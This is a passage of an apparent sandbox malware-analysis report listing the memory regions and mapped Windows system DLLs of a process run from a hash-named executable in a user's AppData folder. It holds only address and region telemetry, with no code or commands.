"\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe") Region: id = 3268 start_va = 0x77440000 end_va = 0x775e8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3269 start_va = 0x77620000 end_va = 0x7779ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3270 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3271 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3272 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3273 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3274 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3275 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3276 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3277 start_va = 0x290000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 3278 start_va = 0x73db0000 end_va = 0x73deefff monitored = 0 entry_point = 0x73dde088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3279 start_va = 0x73d50000 end_va = 0x73dabfff monitored = 0 entry_point = 0x73d8f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3280 start_va = 0x73d40000 end_va = 0x73d47fff monitored = 0 entry_point = 0x73d420f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3281 start_va = 0x77320000 end_va = 0x7743efff monitored = 0 entry_point = 0x77335340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3282 start_va = 0x753b0000 end_va = 0x754bffff monitored = 0 entry_point = 0x753c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3283 start_va = 0x77320000 end_va = 0x7743efff monitored = 0 entry_point = 0x77335340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3284 start_va = 0x77320000 end_va = 0x7743efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077320000" filename = "" Region: id = 3285 start_va = 0x77220000 end_va = 0x77319fff monitored = 0 entry_point = 0x7723a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3286 start_va = 0x77220000 end_va = 0x77319fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077220000" filename = "" Region: id = 3287 start_va = 0x500000 end_va = 0x7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 3288 start_va = 0x753b0000 end_va = 0x754bffff monitored = 0 entry_point = 0x753c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3289 start_va = 0x75850000 end_va = 0x75896fff monitored = 0 entry_point = 0x758574c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3290 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3291 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3292 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3293 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3294 start_va = 0x73a20000 end_va = 0x73a31fff monitored = 0 entry_point = 0x73a21200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 3295 start_va = 0x75590000 end_va = 0x755c4fff monitored = 0 entry_point = 0x7559145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3296 start_va = 0x75c30000 end_va = 0x75cdbfff monitored = 0 entry_point = 0x75c3a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3297 start_va = 0x770e0000 end_va = 0x771cffff monitored = 0 entry_point = 0x770f0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3298 start_va = 0x75170000 end_va = 0x751cffff monitored = 0 entry_point = 0x7518a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3299 start_va = 0x75160000 end_va = 0x7516bfff monitored = 0 entry_point = 0x751610e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3300 start_va = 0x756f0000 end_va = 0x75708fff monitored = 0 entry_point = 0x756f4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3301 start_va = 0x751d0000 end_va = 0x751d5fff monitored = 0 entry_point = 0x751d1782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3302 start_va = 0x75200000 end_va = 0x752fffff monitored = 0 entry_point = 0x7521b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3303 start_va = 0x77050000 end_va = 0x770dffff monitored = 0 entry_point = 0x77066343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3304 start_va = 0x775f0000 end_va = 0x775f9fff monitored = 0 entry_point = 0x775f36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3305 start_va = 0x75300000 end_va = 0x7539cfff monitored = 0 entry_point = 0x75333fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3306 start_va = 0x75650000 end_va = 0x756effff monitored = 0 entry_point = 0x756649e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3307 start_va = 0x75ef0000 end_va = 0x76b39fff monitored = 0 entry_point = 0x75f71601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 3308 start_va = 0x76cd0000 end_va = 0x76d26fff monitored = 0 entry_point = 0x76ce9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3309 start_va = 0x290000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 3310 start_va = 0x480000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 3311 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3312 start_va = 0x500000 end_va = 0x687fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 3313 start_va = 0x6f0000 end_va = 0x7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 3314 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3315 start_va = 0x76ff0000 end_va = 0x7704ffff monitored = 0 entry_point = 0x7700158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3316 start_va = 0x754c0000 end_va = 0x7558bfff monitored = 0 entry_point = 0x754c168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3317 start_va = 0x7f0000 end_va = 0x970fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 3318 start_va = 0xaf0000 end_va = 0x1eeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000af0000" filename = "" Region: id = 3319 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3320 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3321 start_va = 0x1ef0000 end_va = 0x207ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 3322 start_va = 0x73a00000 end_va = 0x73a16fff monitored = 0 entry_point = 0x73a03573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 3323 start_va = 0xe0000 end_va = 0x11bfff monitored = 0 entry_point = 0xe128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3324 start_va = 0xe0000 end_va = 0x11bfff monitored = 0 entry_point = 0xe128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3325 start_va = 0xe0000 end_va = 0x11bfff monitored = 0 entry_point = 0xe128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3326 start_va = 0xe0000 end_va = 0x11bfff monitored = 0 entry_point = 0xe128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3327 start_va = 0xe0000 end_va = 0x11bfff monitored = 0 entry_point = 0xe128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3328 start_va = 0x739c0000 end_va = 0x739fafff monitored = 0 entry_point = 0x739c128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3329 start_va = 0x350000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 3330 start_va = 0x1f70000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 3331 start_va = 0x2070000 end_va = 0x207ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 3332 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 3333 start_va = 0x290000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 3334 start_va = 0x310000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 3335 start_va = 0x6a0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 3336 start_va = 0x2160000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 3337 start_va = 0x2280000 end_va = 0x237ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 3338 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 3339 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 3795 start_va = 0x440000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 3796 start_va = 0x9b0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 3797 start_va = 0xa00000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 3798 start_va = 0x23a0000 end_va = 0x249ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 3799 start_va = 0x2620000 end_va = 0x271ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002620000" filename = "" Region: id = 3800 start_va = 0x27d0000 end_va = 0x28cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 3801 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 3802 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 3803 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 3804 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 3805 start_va = 0xf0000 end_va = 0xf5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3806 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3807 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3808 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3809 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3810 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3811 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3812 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3813 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3814 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3815 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3816 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3817 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3818 start_va = 0x24a0000 end_va = 0x259ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3819 start_va = 0x3a0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3820 start_va = 0x28f0000 end_va = 0x29effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028f0000" filename = "" Region: id = 3821 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 3822 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3823 start_va = 0x20d0000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 3824 start_va = 0x29f0000 end_va = 0x2aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029f0000" filename = "" Region: id = 3825 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 3826 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3827 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3828 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3829 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3830 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3831 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3832 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3833 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3834 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3835 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3836 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3837 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3838 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3839 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3840 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3841 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3842 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3843 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3844 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3845 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3846 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3847 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3848 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3849 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3850 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3851 start_va = 0xe0000 end_va = 0xe5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3854 start_va = 0xa80000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 3855 start_va = 0x25b0000 end_va = 0x25effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 3856 start_va = 0x2c70000 end_va = 0x2d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c70000" filename = "" Region: id = 3857 start_va = 0x2e60000 end_va = 0x2f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e60000" filename = "" Region: id = 3858 start_va = 0x7ef98000 end_va = 0x7ef9afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef98000" filename = "" Region: id = 3859 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 3860 start_va = 0x2110000 end_va = 0x214ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 3861 start_va = 0x2780000 end_va = 0x27bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002780000" filename = "" Region: id = 3862 start_va = 0x3070000 end_va = 0x316ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003070000" filename = "" Region: id = 3863 start_va = 0x3280000 end_va = 0x337ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003280000" filename = "" Region: id = 3864 start_va = 0x7ef92000 end_va = 0x7ef94fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef92000" filename = "" Region: id = 3865 start_va = 0x7ef95000 end_va = 0x7ef97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 3866 start_va = 0x2af0000 end_va = 0x2c00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002af0000" filename = "" Region: id = 3867 start_va = 0x3380000 end_va = 0x3490fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003380000" filename = "" Region: id = 3868 start_va = 0x34a0000 end_va = 0x35b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000034a0000" filename = "" Region: id = 3869 start_va = 0x35c0000 end_va = 0x37bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035c0000" filename = "" Region: id = 3870 start_va = 0x37c0000 end_va = 0x38d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000037c0000" filename = "" Region: id = 3875 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 3876 start_va = 0xf0000 end_va = 0xf4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3877 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3878 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3879 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3880 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3881 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3882 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3883 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3884 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3885 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3886 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3887 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3888 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3889 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3890 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3891 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3892 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3893 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3894 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3895 start_va = 0xe0000 end_va = 0xe4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3896 